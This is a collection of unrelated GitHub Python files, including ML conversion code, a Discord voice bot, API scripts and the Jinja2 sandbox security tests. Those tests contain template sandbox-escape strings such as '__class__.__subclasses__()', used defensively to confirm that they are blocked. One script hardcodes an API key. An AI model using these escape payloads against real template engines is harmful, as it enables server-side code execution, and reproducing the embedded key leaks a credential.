tf.lite.TFLiteConverter.from_saved_model(savedModelPath)\n if enable_select_tf_ops:\n converter.target_spec.supported_ops = [\n tf.lite.OpsSet.TFLITE_BUILTINS, # enable TensorFlow Lite ops.\n tf.lite.OpsSet.SELECT_TF_OPS # enable TensorFlow ops.\n ]\n else:\n converter.target_spec.supported_ops = [\n tf.lite.OpsSet.TFLITE_BUILTINS, # enable TensorFlow Lite ops.\n ]\n\n # Setting optimizations for model size and latency\n if optimize:\n print(f\"Optimizing for model size and inference latency\")\n converter.optimizations = [tf.lite.Optimize.DEFAULT]\n else:\n print(f\"*Not* doing any optimizations for model size and inference latency\")\n converter.optimizations = []\n\n converter.target_spec.supported_types = target_dtypes\n converter.experimental_new_converter = True\n converter.experimental_enable_resource_variables = enable_resource_variables\n\n tfliteModel = converter.convert()\n\n # Save the model\n outPath = os.path.abspath(outPath)\n os.makedirs(os.path.dirname(outPath), exist_ok=True)\n if not outPath.endswith(\".tflite\"):\n outPath += \".tflite\"\n print(f\"Adding missing .tflite extension to output path: {outPath}\")\n\n with open(outPath, 'wb') as f:\n f.write(tfliteModel)\n\n # Loading converted model and printing model details for inspection.\n ip = tf.lite.Interpreter(outPath)\n print(f\"- input details for {os.path.basename(outPath)}: {pformat(ip.get_input_details())}\")\n print(f\"- output details for {os.path.basename(outPath)}: {pformat(ip.get_output_details())}\")\n print(\"Conversion success\")\n","repo_name":"shahruk10/kaldi-tflite","sub_path":"kaldi_tflite/lib/models/convert_tflite.py","file_name":"convert_tflite.py","file_ext":"py","file_size_in_byte":3355,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"82"} +{"seq_id":"1989994161","text":"import requests\nimport os\nimport datetime\n\napi_key = '3d56ad21150323764ca7cf7ebcf26ccc'\n\n\ndef add_movie(path):\n creation_time = os.path.getctime(path)\n creation_date = datetime.date.fromtimestamp(creation_time)\n file_size = os.path.getsize(path)\n movie_id = 281778\n\n post_data = {'api_key': api_key,\n 'path': path,\n 'size': file_size,\n 'age': creation_date,\n # 'movie_id': movie_id\n }\n response = requests.post('http://127.0.0.1:8000/movies/add/', data=post_data)\n # response = requests.post('http://catdog13.com/movies/add/', data=post_data)\n content = response.json()\n if content['Added'] == 'True':\n return True\n elif content['Added'] == 'False':\n return False, content['Error']\n else:\n return False\n\nif __name__ == '__main__':\n print(add_movie(r'E:\\Movies\\Survivor (2014)\\Survivor.mp4'))\n","repo_name":"catdog13/db_writing","sub_path":"add_movie.py","file_name":"add_movie.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"782364395","text":"import discord\nfrom discord.ext import commands\nfrom discord.rtp import SilencePacket, RTPPacket\nfrom discord.opus import Decoder\nfrom discord.reader import AudioSink, WaveSink\n\nimport speech_recognition as sr\nimport io\nimport audioop\nimport wave\nimport threading\nimport asyncio\n\nbot = commands.Bot(command_prefix='bruh ')\nbot.remove_command('help')\n\nif not discord.opus.is_loaded():\n discord.opus.load_opus('libopus.so')\n\n\nasync def on_ready():\n await bot.change_presence(activity=discord.Game(name=\"testing shid\"))\n print('we back')\n\nbot.add_listener(on_ready)\n\n# class DiscordPCMData(sr.AudioData):\n# def __init__(self, sink, vc):\n# # self.stream = None\n# self.stream = sink\n# self.vc = vc\n\n# self.CHUNK_SIZE = Decoder.FRAME_SIZE # 3840?\n# self.SAMPLE_RATE = Decoder.SAMPLING_RATE\n# self.SAMPLE_WIDTH = Decoder.SAMPLE_SIZE//Decoder.CHANNELS\n\n# def __enter__(self):\n# pass\n\n# def __exit__(self, exc_type, exc_value, traceback):\n# pass\n\n\n# class DiscordPCMStream(sr.AudioSource):\n# def __init__(self, bytes_file, wav_object):\n# # self.filename_or_fileobject = filename_or_fileobject\n# self.stream = None\n# self.DURATION = None\n\n# self.audio = bytes_file\n# self.wav_object = wav_object\n# self.little_endian = False\n# self.SAMPLE_RATE = None\n# self.CHUNK = None\n# self.FRAME_COUNT = None\n\n# self.bytesPosition = 0\n\n# def __enter__(self):\n# assert self.stream is None, \"This audio source is already inside a context manager\"\n\n# # read the file as WAV\n# self.audio.seek(0)\n# self.little_endian = True\n\n# self.SAMPLE_WIDTH = self.wav_object.getsampwidth()\n\n# # 24-bit audio needs some special handling for old Python versions (workaround for https://bugs.python.org/issue12866)\n# samples_24_bit_pretending_to_be_32_bit = False\n\n# self.SAMPLE_RATE = self.wav_object.getframerate()\n# self.CHUNK = 4096 # 50 frames per second, 81.92 seconds per chunk?\n# self.FRAME_COUNT = self.wav_object.getnframes()\n# self.DURATION = self.FRAME_COUNT / float(self.SAMPLE_RATE)\n# self.stream = DiscordPCMStream.AudioFileStream(self.audio, self.wav_object, self.little_endian, samples_24_bit_pretending_to_be_32_bit, self.CHUNK)\n# return self\n\n# def __exit__(self, exc_type, exc_value, traceback):\n# # self.audio.close()\n# self.stream = None\n# self.DURATION = None\n\n# class AudioFileStream(object):\n# def __init__(self, audio, wav_object, little_endian, samples_24_bit_pretending_to_be_32_bit, chunk):\n# self.audio = audio # an audio file object (e.g., a `wave.Wave_read` instance)\n# self.wav_object = wav_object\n# self.little_endian = little_endian # whether the audio data is little-endian (when working with big-endian things, we'll have to convert it to little-endian before we process it)\n# self.samples_24_bit_pretending_to_be_32_bit = samples_24_bit_pretending_to_be_32_bit # this is true if the audio is 24-bit audio, but 24-bit audio isn't supported, so we have to pretend that this is 32-bit audio and convert it on the fly\n# self.CHUNK = chunk\n\n# def read(self, size=-1):\n# # print(self.audio.tell())\n# # self.audio.seek(self.audio.tell() - 0 if size == -1 else size)\n# # print(f\"read: {self.audio.tell()}\")\n# buffer = self.audio.read(self.audio.getnframes() if size == -1 else size)\n# # buffer = self.audio.getvalue()[:self.audio.tell()]\n# if not isinstance(buffer, bytes): buffer = b\"\" # workaround for https://bugs.python.org/issue24608\n\n# sample_width = self.wav_object.getsampwidth()\n# if not self.little_endian: # big endian format, convert to little endian on the fly\n# if hasattr(audioop, \"byteswap\"): # ``audioop.byteswap`` was only added in Python 3.4 (incidentally, that also means that we don't need to worry about 24-bit audio being unsupported, since Python 3.4+ always has that functionality)\n# buffer = audioop.byteswap(buffer, sample_width)\n# else: # manually reverse the bytes of each sample, which is slower but works well enough as a fallback\n# buffer = buffer[sample_width - 1::-1] + b\"\".join(buffer[i + sample_width:i:-1] for i in range(sample_width - 1, len(buffer), sample_width))\n\n# # workaround for https://bugs.python.org/issue12866\n# if self.samples_24_bit_pretending_to_be_32_bit: # we need to convert samples from 24-bit to 32-bit before we can process them with ``audioop`` functions\n# buffer = b\"\".join(b\"\\x00\" + buffer[i:i + sample_width] for i in range(0, len(buffer), sample_width)) # since we're in little endian, we prepend a zero byte to each 24-bit sample to get a 32-bit sample\n# sample_width = 4 # make sure we thread the buffer as 32-bit audio now, after converting it from 24-bit audio\n# if self.wav_object.getnchannels() != 1: # stereo audio\n# buffer = audioop.tomono(buffer, sample_width, 1, 1) # convert stereo audio data to mono\n\n# # print(buffer)\n# return buffer\n\nclass DiscordPCMStream(sr.AudioSource):\n \"\"\"\n pls work\n \"\"\"\n\n def __init__(self, data):\n self.stream = None\n\n self.stream_data = data\n self.little_endian = True # RIFF WAV is a little-endian format (most ``audioop`` operations assume that the frames are stored in little-endian form)\n self.SAMPLE_RATE = Decoder.SAMPLING_RATE\n self.CHUNK = Decoder.FRAME_SIZE # 3840\n self.SAMPLE_WIDTH = Decoder.SAMPLE_SIZE//Decoder.CHANNELS\n self.FRAME_COUNT = None\n self.DURATION = None\n\n def __enter__(self):\n assert self.stream is None, \"This audio source is already inside a context manager\"\n\n self.stream = DiscordPCMStream.PCMStream(self.stream_data, self.SAMPLE_WIDTH)\n\n self.FRAME_COUNT = len(b\"\".join(self.stream_data))\n self.DURATION = self.FRAME_COUNT / float(self.SAMPLE_RATE)\n\n print(f\"FRAME COUNT: {self.FRAME_COUNT}\")\n return self\n\n def __exit__(self, exc_type, exc_value, traceback):\n self.stream = None\n self.DURATION = None\n \n # def updateStream(self):\n # self.stream = DiscordPCMStream.PCMStream(self.stream_data, self.SAMPLE_WIDTH)\n\n class PCMStream(object):\n def __init__(self, stream_data, sample_width):\n self.stream_data = stream_data # an audio file object (e.g., a `wave.Wave_read` instance)\n self.SAMPLE_WIDTH = sample_width\n self.bytesPosition = 0\n\n def read(self, sample_offset=0):\n buffer = b\"\".join(self.stream_data)[self.bytesPosition:self.bytesPosition+sample_offset]\n self.bytesPosition += sample_offset\n\n buffer = audioop.tomono(buffer, self.SAMPLE_WIDTH, 1, 1) # convert stereo audio data to mono (this is the part that fucked me up bruh)\n return buffer\n\ndef callback(recognizer_instance, audio_data):\n # with open(\"pain.wav\", \"wb+\") as f:\n # f.write(audio_data.get_wav_data())\n # # try:\n # print(recognizer_instance.recognize_google(audio_data, show_all=True))\n # # except Exception as e:\n # print(e)\n # print(audio_data.get_raw_data())\n # pass\n print(\"callback called!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\")\n\nclass BytesLoop(io.IOBase):\n def __init__(self, buf=b''):\n self.buf = buf\n def read(self, n=-1):\n inp = io.BytesIO(self.buf)\n b = inp.read(n)\n self.buf = self.buf[len(b):]\n return b\n def readinto(self, b):\n inp = io.BytesIO(self.buf)\n l = inp.readinto(b)\n self.buf = self.buf[l:]\n return l\n def write(self, b):\n outp = io.BytesIO()\n l = outp.write(b)\n self.buf += outp.getvalue()\n return l\n def getvalue(self):\n return self.buf\n\nclass WavStream:\n def __init__(self):\n e\n\nclass TestSink(AudioSink):\n sampwidth = Decoder.SAMPLE_SIZE//Decoder.CHANNELS\n framerate = Decoder.SAMPLING_RATE*2\n num_frames = Decoder.SAMPLES_PER_FRAME\n\n def __init__(self):\n self.data = []\n self.needs_processing = True\n self.r = sr.Recognizer()\n # self.wav_file = io.BytesIO()#\"pain.wav\" #io.BytesIO() # \"test.wav\" # BytesLoop()\n # self.wav_writer = wave.open(self.wav_file, \"wb\")\n # self.wav_writer.setnchannels(Decoder.CHANNELS)\n # self.wav_writer.setsampwidth(Decoder.SAMPLE_SIZE//Decoder.CHANNELS)\n # self.wav_writer.setframerate(Decoder.SAMPLING_RATE)\n self.stream = DiscordPCMStream(self.data)\n self.processing = False\n\n def test(self):\n # reader = wave.open(\"pain.wav\", \"rb\")\n # with open(\"bruh3.data\", \"wb+\") as f:\n # f.write(reader.readframes(reader.getnframes()))\n with open(\"bruh3.data\", \"rb\") as f:\n data = f.read()\n # data = audioop.tomono(data, Decoder.SAMPLE_SIZE//Decoder.CHANNELS, 1, 1)\n # audio = sr.AudioData(data, Decoder.SAMPLING_RATE, Decoder.SAMPLE_SIZE//Decoder.CHANNELS)\n\n # stream = DiscordPCMStream(data)\n with self.stream as source:\n # frames = io.BytesIO()\n # while True: # loop for the total number of chunks needed\n\n # buffer = source.stream.read(source.CHUNK)\n # if len(buffer) == 0: break\n\n # frames.write(buffer)\n\n # frame_data = frames.getvalue()\n # frames.close()\n # audio = sr.AudioData(frame_data, source.SAMPLE_RATE, source.SAMPLE_WIDTH)\n # audio = self.recognizer.record(source)\n audio = self.recognizer.listen(source, snowboy_configuration=(\"../src/audio/snowboy\", [\"../src/audio/snowboy/bruh.pmdl\"]))\n print(f\"audio: {audio}\")\n # pass\n with open(\"pain3.wav\", \"wb+\") as f:\n f.write(audio.get_wav_data())\n\n\n def processAudio(self, callback):\n assert isinstance(self.stream, sr.AudioSource), \"Source must be an audio source\"\n running = [True]\n\n def threaded_listen():\n with self.stream as s:\n while running[0]:\n try: # listen for 3 seconds, then check again if the stop function has been called\n audio = self.r.listen(s, timeout=3, phrase_time_limit=5, snowboy_configuration=(\n \"../src/audio/snowboy\", [\"../src/audio/snowboy/bruh.pmdl\"]\n ))\n except sr.WaitTimeoutError: # listening timed out, just try again\n print(\"timeoutted\")\n else:\n print(\"success?\")\n if running[0]: callback(self, audio)\n\n def stopper(wait_for_stop=True):\n running[0] = False\n if wait_for_stop:\n listener_thread.join() # block until the background thread is done, which can take around 1 second\n\n listener_thread = threading.Thread(target=threaded_listen)\n listener_thread.daemon = True\n listener_thread.start()\n\n self.stop = stopper\n return self.stop\n\n # stream = DiscordPCMStream(self.data)\n # with self.stream as source:\n # audio = self.recognizer.listen(source, snowboy_configuration=(\"../src/audio/snowboy\", [\"../src/audio/snowboy/bruh.pmdl\"]))\n # with open(\"pain3.wav\", \"wb+\") as f:\n # f.write(audio.get_wav_data())\n\n # test = wave.open(self.wav_file, \"rb\")\n\n # stream = sr.AudioFile(self.wav_file)\n # stream = sr.AudioFile.AudioFileStream(test, True, False)\n # self.recognizer.listen_in_background(stream, callback)\n\n\n\n # with stream as source:\n # print(source.stream.read(4096))\n # print(self.data)\n # print(\"processing\")\n # raw = b''.join(self.data)\n # self.wav_writer.writeframes(raw)\n\n # print(self.wav_writer.getsampwidth())\n # print(self.wav_writer.getsampwidth())\n # print(self.wav_writer.getsampwidth())\n # self.processing = True\n\n # stream = DiscordPCMStream(self.wav_file, self.wav_writer)\n # with stream as source:\n # # # data = self.recognizer.record(source)\n # test = self.recognizer.listen(source, snowboy_configuration=(\"../src/audio/snowboy\", [\"../src/audio/snowboy/bruh.pmdl\"]))\n # print(test.get_raw_data())\n # self.recognizer.listen_in_background(stream, callback)\n\n # # with stream as source:\n # # pass\n # # data = source.stream.read(4096)\n # # with open(\"bruh333.wav\", \"wb+\") as f:\n # # f.write(data)\n # # print(source.stream.read(4096))\n\n # # assert(self.data == self.wav_file.getvalue())\n\n # # print(self.wav_writer.getsampwidth())\n\n # self.wav_file.seek(0)\n\n # frames = io.BytesIO()\n # while True:\n # buffer = self.wav_file.read(Decoder.FRAME_SIZE)\n # if len(buffer) == 0: break\n\n # frames.write(buffer)\n \n\n\n # data = sr.AudioData(b''.join(self.data), Decoder.SAMPLING_RATE*2, Decoder.SAMPLE_SIZE//Decoder.CHANNELS)\n # frames.close()\n # with open(\"pain.wav\", \"wb+\") as f:\n # f.write(data.get_wav_data())\n\n # # self.needs_processing = False\n # self.processing = False\n # with open(\"bruh2.data\", \"wb+\") as f:\n # f.write(b\"\".join(self.data))\n\n def write(self, data):\n # BytesLoop.write(data.data)\n # if not self.processing:\n # if len(self.data) >= 500:\n # self.data.clear()\n # self.stream.updateStream()\n # if data.packet == SilencePacket:\n # self.data.clear()\n # else:\n self.data.append(data.data)\n\n\n def read(self):\n pass\n\n def cleanup(self):\n pass\n\n\nsink = TestSink()\n\ndef callback(r_instance, audio):\n print(\"callback called\")\n print(audio.get_raw_data())\n\n@bot.command()\nasync def test(ctx):\n # r = sr.Recognizer()\n # source = DiscordPCMSource(TestSink(), vc)\n # r.listen(source)\n vc = await ctx.author.voice.channel.connect()\n vc.listen(sink)\n await asyncio.sleep(3)\n sink.processAudio(callback)\n # sink.processAudio()\n # sink.test()\n\n\n@bot.command()\nasync def process(ctx):\n sink.processAudio()\n\n\n@bot.command()\nasync def record(ctx):\n vc = await ctx.author.voice.channel.connect()\n vc.listen(WaveSink(\"bruh.wav\"))\n\n\n@bot.command()\nasync def check_frame_size(ctx):\n await ctx.send(str(Decoder.FRAME_SIZE))\n\n\n@bot.command()\nasync def coom(ctx):\n await bot.logout()\n\nif __name__ == \"__main__\":\n # sink.test()\n\n with open('../src/token.txt', 'r') as f:\n TOKEN = f.readline()\n\n bot.run(TOKEN)","repo_name":"Vincentqchen/yeeb","sub_path":"tests/async_dont_work_in_jupyter.py","file_name":"async_dont_work_in_jupyter.py","file_ext":"py","file_size_in_byte":15084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"30126436605","text":"# -*- coding: utf-8 -*-\n\nimport unittest\n\nfrom instagram_parser.crawler.data_extractors.user_following.user_page_data_extractor import \\\n UserPageDataExtractor\nfrom instagram_parser.tests.utils import (\n fake_scrapy_response_from_file\n)\n\n\nclass TestUserPageDataExtracor(unittest.TestCase):\n def setUp(self):\n page_source = 'user_following/source_data/user_page_source.html'\n self.response = fake_scrapy_response_from_file(file_name=page_source)\n\n def test_get_shared_data(self):\n shared_data = UserPageDataExtractor().get_page_info_from_json(self.response)\n self.assertTrue(isinstance(shared_data, dict))\n self.assertTrue('entry_data' in shared_data)","repo_name":"krtvand/instagram_parser","sub_path":"instagram_parser/tests/user_following/test_data_extractors.py","file_name":"test_data_extractors.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31932064051","text":"data = open(\"input\").read().split(\"\\n\")\nif not data[-1].strip(): data = data[0:-1]\n# data = [int(x) for x in data]\n\nln = data[0]\nln = ln.split(\" \")\nxpart = ln[2].split(\"..\")\nypart = ln[3].split(\"..\")\n\nx_low = int(xpart[0][2:])\nx_high = int(xpart[1][:-1])\ny_low = int(ypart[0][2:])\ny_high = int(ypart[1])\n\ntime_map = {}\n\n# try all from 0 to 1000\n\nfor i in range(-1000,1000):\n time = 0\n y_vel = i\n y_pos = 0\n max_temp = 0\n while y_pos > y_high:\n y_pos += y_vel\n y_vel -= 1\n time += 1\n \n if not (y_low <= y_pos <= y_high): continue # this is not a valid y\n \n time_high = time - 1\n\n while y_pos >= y_low:\n y_pos += y_vel\n y_vel -= 1\n time_high += 1\n\n time_map[i] = (time, time_high)\n\nvalidcnt = 0\n# possible x\nfor y_vel in time_map:\n for i in range(0,1000):\n t = time_map[y_vel][0]\n t_high = time_map[y_vel][1]\n x_travel = 0\n x_vel = i\n x_pos = 0\n\n flag = False\n for time in range(1,t_high+1):\n x_pos += x_vel\n \n sgn = 0 if x_vel == 0 else (1 if x_vel > 0 else -1)\n x_vel = x_vel - sgn\n\n if (x_vel == 0 or t <= time <= t_high) and (x_low <= x_pos <= x_high):\n flag = True\n break\n\n if x_pos > x_high:\n flag = False\n break\n\n\n if not flag: continue\n validcnt += 1\n\n\n\nprint(validcnt)\n","repo_name":"CAG2Mark/aoc-2021","sub_path":"day17/p2.py","file_name":"p2.py","file_ext":"py","file_size_in_byte":1443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"72111039629","text":"import pytest\nfrom markupsafe import escape\n\nfrom jinja2 import Environment\nfrom jinja2.exceptions import SecurityError\nfrom jinja2.exceptions import TemplateRuntimeError\nfrom jinja2.exceptions import TemplateSyntaxError\nfrom jinja2.nodes import EvalContext\nfrom jinja2.sandbox import ImmutableSandboxedEnvironment\nfrom jinja2.sandbox import SandboxedEnvironment\nfrom jinja2.sandbox import unsafe\n\n\nclass PrivateStuff:\n def bar(self):\n return 23\n\n @unsafe\n def foo(self):\n return 42\n\n def __repr__(self):\n return \"PrivateStuff\"\n\n\nclass PublicStuff:\n def bar(self):\n return 23\n\n def _foo(self):\n return 42\n\n def __repr__(self):\n return \"PublicStuff\"\n\n\nclass TestSandbox:\n def test_unsafe(self, env):\n env = SandboxedEnvironment()\n pytest.raises(\n SecurityError, env.from_string(\"{{ foo.foo() }}\").render, foo=PrivateStuff()\n )\n assert env.from_string(\"{{ foo.bar() }}\").render(foo=PrivateStuff()) == \"23\"\n\n pytest.raises(\n SecurityError, env.from_string(\"{{ foo._foo() }}\").render, foo=PublicStuff()\n )\n assert env.from_string(\"{{ foo.bar() }}\").render(foo=PublicStuff()) == \"23\"\n assert env.from_string(\"{{ foo.__class__ }}\").render(foo=42) == \"\"\n assert env.from_string(\"{{ foo.func_code }}\").render(foo=lambda: None) == \"\"\n # security error comes from __class__ already.\n pytest.raises(\n SecurityError,\n env.from_string(\"{{ foo.__class__.__subclasses__() }}\").render,\n foo=42,\n )\n\n def test_immutable_environment(self, env):\n env = ImmutableSandboxedEnvironment()\n pytest.raises(SecurityError, env.from_string(\"{{ [].append(23) }}\").render)\n pytest.raises(SecurityError, env.from_string(\"{{ {1:2}.clear() }}\").render)\n\n def test_restricted(self, env):\n env = SandboxedEnvironment()\n pytest.raises(\n TemplateSyntaxError,\n env.from_string,\n \"{% for item.attribute in seq %}...{% endfor %}\",\n )\n pytest.raises(\n TemplateSyntaxError,\n env.from_string,\n \"{% for foo, bar.baz in seq %}...{% endfor %}\",\n )\n\n def test_template_data(self, env):\n env = Environment(autoescape=True)\n t = env.from_string(\n \"{% macro say_hello(name) %}\"\n \"

Hello {{ name }}!

{% endmacro %}\"\n '{{ say_hello(\"foo\") }}'\n )\n escaped_out = \"

Hello <blink>foo</blink>!

\"\n assert t.render() == escaped_out\n assert str(t.module) == escaped_out\n assert escape(t.module) == escaped_out\n assert t.module.say_hello(\"foo\") == escaped_out\n assert (\n escape(t.module.say_hello(EvalContext(env), \"foo\"))\n == escaped_out\n )\n assert escape(t.module.say_hello(\"foo\")) == escaped_out\n\n def test_attr_filter(self, env):\n env = SandboxedEnvironment()\n tmpl = env.from_string('{{ cls|attr(\"__subclasses__\")() }}')\n pytest.raises(SecurityError, tmpl.render, cls=int)\n\n def test_binary_operator_intercepting(self, env):\n def disable_op(left, right):\n raise TemplateRuntimeError(\"that operator so does not work\")\n\n for expr, ctx, rv in (\"1 + 2\", {}, \"3\"), (\"a + 2\", {\"a\": 2}, \"4\"):\n env = SandboxedEnvironment()\n env.binop_table[\"+\"] = disable_op\n t = env.from_string(f\"{{{{ {expr} }}}}\")\n assert t.render(ctx) == rv\n env.intercepted_binops = frozenset([\"+\"])\n t = env.from_string(f\"{{{{ {expr} }}}}\")\n with pytest.raises(TemplateRuntimeError):\n t.render(ctx)\n\n def test_unary_operator_intercepting(self, env):\n def disable_op(arg):\n raise TemplateRuntimeError(\"that operator so does not work\")\n\n for expr, ctx, rv in (\"-1\", {}, \"-1\"), (\"-a\", {\"a\": 2}, \"-2\"):\n env = SandboxedEnvironment()\n env.unop_table[\"-\"] = disable_op\n t = env.from_string(f\"{{{{ {expr} }}}}\")\n assert t.render(ctx) == rv\n env.intercepted_unops = frozenset([\"-\"])\n t = env.from_string(f\"{{{{ {expr} }}}}\")\n with pytest.raises(TemplateRuntimeError):\n t.render(ctx)\n\n\nclass TestStringFormat:\n def test_basic_format_safety(self):\n env = SandboxedEnvironment()\n t = env.from_string('{{ \"a{0.__class__}b\".format(42) }}')\n assert t.render() == \"ab\"\n\n def test_basic_format_all_okay(self):\n env = SandboxedEnvironment()\n t = env.from_string('{{ \"a{0.foo}b\".format({\"foo\": 42}) }}')\n assert t.render() == \"a42b\"\n\n def test_safe_format_safety(self):\n env = SandboxedEnvironment()\n t = env.from_string('{{ (\"a{0.__class__}b{1}\"|safe).format(42, \"\") }}')\n assert t.render() == \"ab<foo>\"\n\n def test_safe_format_all_okay(self):\n env = SandboxedEnvironment()\n t = env.from_string('{{ (\"a{0.foo}b{1}\"|safe).format({\"foo\": 42}, \"\") }}')\n assert t.render() == \"a42b<foo>\"\n\n def test_empty_braces_format(self):\n env = SandboxedEnvironment()\n t1 = env.from_string('{{ (\"a{}b{}\").format(\"foo\", \"42\")}}')\n t2 = env.from_string('{{ (\"a{}b{}\"|safe).format(42, \"\") }}')\n assert t1.render() == \"afoob42\"\n assert t2.render() == \"a42b<foo>\"\n\n\nclass TestStringFormatMap:\n def test_basic_format_safety(self):\n env = SandboxedEnvironment()\n t = env.from_string('{{ \"a{x.__class__}b\".format_map({\"x\":42}) }}')\n assert t.render() == \"ab\"\n\n def test_basic_format_all_okay(self):\n env = SandboxedEnvironment()\n t = env.from_string('{{ \"a{x.foo}b\".format_map({\"x\":{\"foo\": 42}}) }}')\n assert t.render() == \"a42b\"\n\n def test_safe_format_all_okay(self):\n env = SandboxedEnvironment()\n t = env.from_string(\n '{{ (\"a{x.foo}b{y}\"|safe).format_map({\"x\":{\"foo\": 42}, \"y\":\"\"}) }}'\n )\n assert t.render() == \"a42b<foo>\"\n","repo_name":"pallets/jinja","sub_path":"tests/test_security.py","file_name":"test_security.py","file_ext":"py","file_size_in_byte":6176,"program_lang":"python","lang":"en","doc_type":"code","stars":9617,"dataset":"github-code","pt":"82"} +{"seq_id":"25255061899","text":"from django.shortcuts import render\nimport record\nimport time\n\ndef index(req):\n\n t = time.time()\n \n context = {\n \"title\":\"background\",\n \"judul\":\"background\",\n \"status\":\" \",\n \"mic\": [],\n \"time\" : t\n }\n context[\"mic\"]= record.listMic()\n if \"btn_record\" in req.POST:\n mic1 = req.POST[\"mic1\"]\n mic2 = req.POST[\"mic2\"]\n context[\"status\"] = record.record(mic1,mic2,title=\"background\",label=\"background\")\n context[\"mic\"]= record.listMic()\n \n if \"btn_upload\" in req.POST:\n fileDekat = req.FILES[\"micDekat\"]\n fileJauh = req.FILES[\"micJauh\"]\n context[\"mic\"]= record.listMic()\n \n context[\"status\"] = record.upload(fileDekat,fileJauh,title=\"background\",label=\"background\")\n return render(req, 'background/index.html',context)","repo_name":"rizkimpal/ProjectDullohV2","sub_path":"websitedulloh/background/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"1145476736","text":"from . import db\n\nclass Movie(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n title = db.Column(db.String(120), index=True)\n recommendations = db.relationship('Recommendation', backref='movie', lazy='dynamic')\n\nclass Recommendation(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n title = db.Column(db.String(120), index=True)\n movie_id = db.Column(db.Integer, db.ForeignKey('movie.id'))\n","repo_name":"maytham-m/movie_recommendation","sub_path":"movie_recommender/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"37229521576","text":"from fastapi import FastAPI, HTTPException, File, UploadFile\nfrom fastapi.middleware.cors import CORSMiddleware\nfrom parsers.kindle_parser import KindleNotesParser\nfrom parsers.kobo_parser import KoboNotesParser\nfrom parsers.models import DeviceType\nfrom knote_exception import NotProperDeviceTypeException, NotProperFileFormatException\nfrom utils import form_file_path\nfrom config import API_ORIGINS\nimport os\n\napp = FastAPI()\n\n'''\n- /booknames?type={}&filename={}\n - return all booknames based on the query parameters\n- /notes?type={}&bookname={}\n - return notes for the given type and bookname in the query parameters\n\nFurther\n - kobo word list\n - kobo reading status\n'''\napp.add_middleware(\n CORSMiddleware,\n allow_origins=API_ORIGINS,\n allow_methods=[\"*\"],\n allow_headers=[\"*\"],\n)\n\n\n@app.get(\"/\")\nasync def root():\n return {\"message\": \"Hello World\"}\n\n\n@app.get(\"/types\")\nasync def get_type() -> list[str]:\n return DeviceType.to_list()\n\n\n@app.get(\"/booknames/{type}/{filename}\")\nasync def get_booknames(type: str, filename: str):\n if any([type is None, filename is None]):\n raise HTTPException(\n status_code=400, detail=f'One or more query parameters are missing')\n\n if type not in DeviceType.to_list():\n raise HTTPException(\n status_code=400, detail=f'Value of \"type\" shoud be either \"kobo\" or \"kindle\"')\n\n note_parser = KindleNotesParser(\n filename) if type == DeviceType.KINDLE.value else KoboNotesParser(filename)\n books = note_parser.get_all_books()\n\n return {'booknames': books}\n\n\n@app.get(\"/notes/{type}/{filename}/{bookname}\")\nasync def get_notes(type: str, bookname: str, filename: str):\n if any([type is None, bookname is None]):\n raise HTTPException(\n status_code=400, detail=f'One or more query parameters are missing')\n\n if type not in DeviceType.to_list():\n raise HTTPException(\n status_code=400, detail=f'Value of \"type\" shoud be either \"kobo\" or \"kindle\"')\n\n note_parser = KindleNotesParser(\n filename) if type == DeviceType.KINDLE.value else KoboNotesParser(filename)\n\n return {\"notes\": note_parser.get_notes_by_bookname(bookname)}\n\n\n@app.post(\"/upload/{type}\")\nasync def upload(type: str, file: UploadFile = File(...)):\n origin_filename = file.filename\n\n try:\n file_path = form_file_path(type, origin_filename)\n filename = os.path.basename(file_path)\n except (NotProperDeviceTypeException, NotProperFileFormatException) as e:\n raise HTTPException(\n status_code=400, detail=f'There was an error uploading the file {e.message}')\n\n try:\n contents = await file.read()\n with open(file_path, 'wb') as f:\n f.write(contents)\n return {\"filename\": str(filename)}\n except Exception:\n raise HTTPException(\n status_code=500, detail=f'There was an error uploading the file: {e}')\n","repo_name":"adaxz/Knotes-API","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":2928,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"72060332427","text":"import torch\nimport torch.nn as nn\nfrom layers.basic_layers import Residual, Dense\n\n\nclass TwoEDisLayer(nn.Module):\n\n def __init__(self,\n hidden_dim: int,\n ef_dim: int,\n activation_fn: nn.Module = nn.SiLU(),\n e_mode: str = 'E',\n use_concat: bool = False,\n **kwargs\n ):\n super().__init__()\n \n self.emb_lins = nn.ModuleList(\n [\n nn.Sequential(\n Dense(\n in_features=hidden_dim,\n out_features=hidden_dim,\n activation_fn=activation_fn\n ),\n Dense(\n in_features=hidden_dim,\n out_features=hidden_dim,\n activation_fn=activation_fn\n )\n ) for _ in range(3)\n ] \n )\n \n self.output_lin = Residual(\n mlp_num=2,\n hidden_dim=hidden_dim,\n activation_fn=activation_fn,\n )\n \n self.e_mode = e_mode\n self.use_concat = use_concat\n if e_mode == 'E':\n if use_concat:\n self.e_lin = nn.Sequential(\n Dense(\n in_features=ef_dim + hidden_dim,\n out_features=ef_dim + hidden_dim,\n activation_fn=activation_fn,\n ),\n Dense(\n in_features=ef_dim + hidden_dim,\n out_features=hidden_dim,\n activation_fn=activation_fn,\n ),\n )\n else:\n self.e_tuple_lin = Residual(\n hidden_dim=hidden_dim,\n mlp_num=2,\n activation_fn=activation_fn\n )\n self.e_lin = Dense(\n in_features=ef_dim,\n out_features=hidden_dim,\n activation_fn=activation_fn,\n )\n \n elif e_mode == 'e':\n 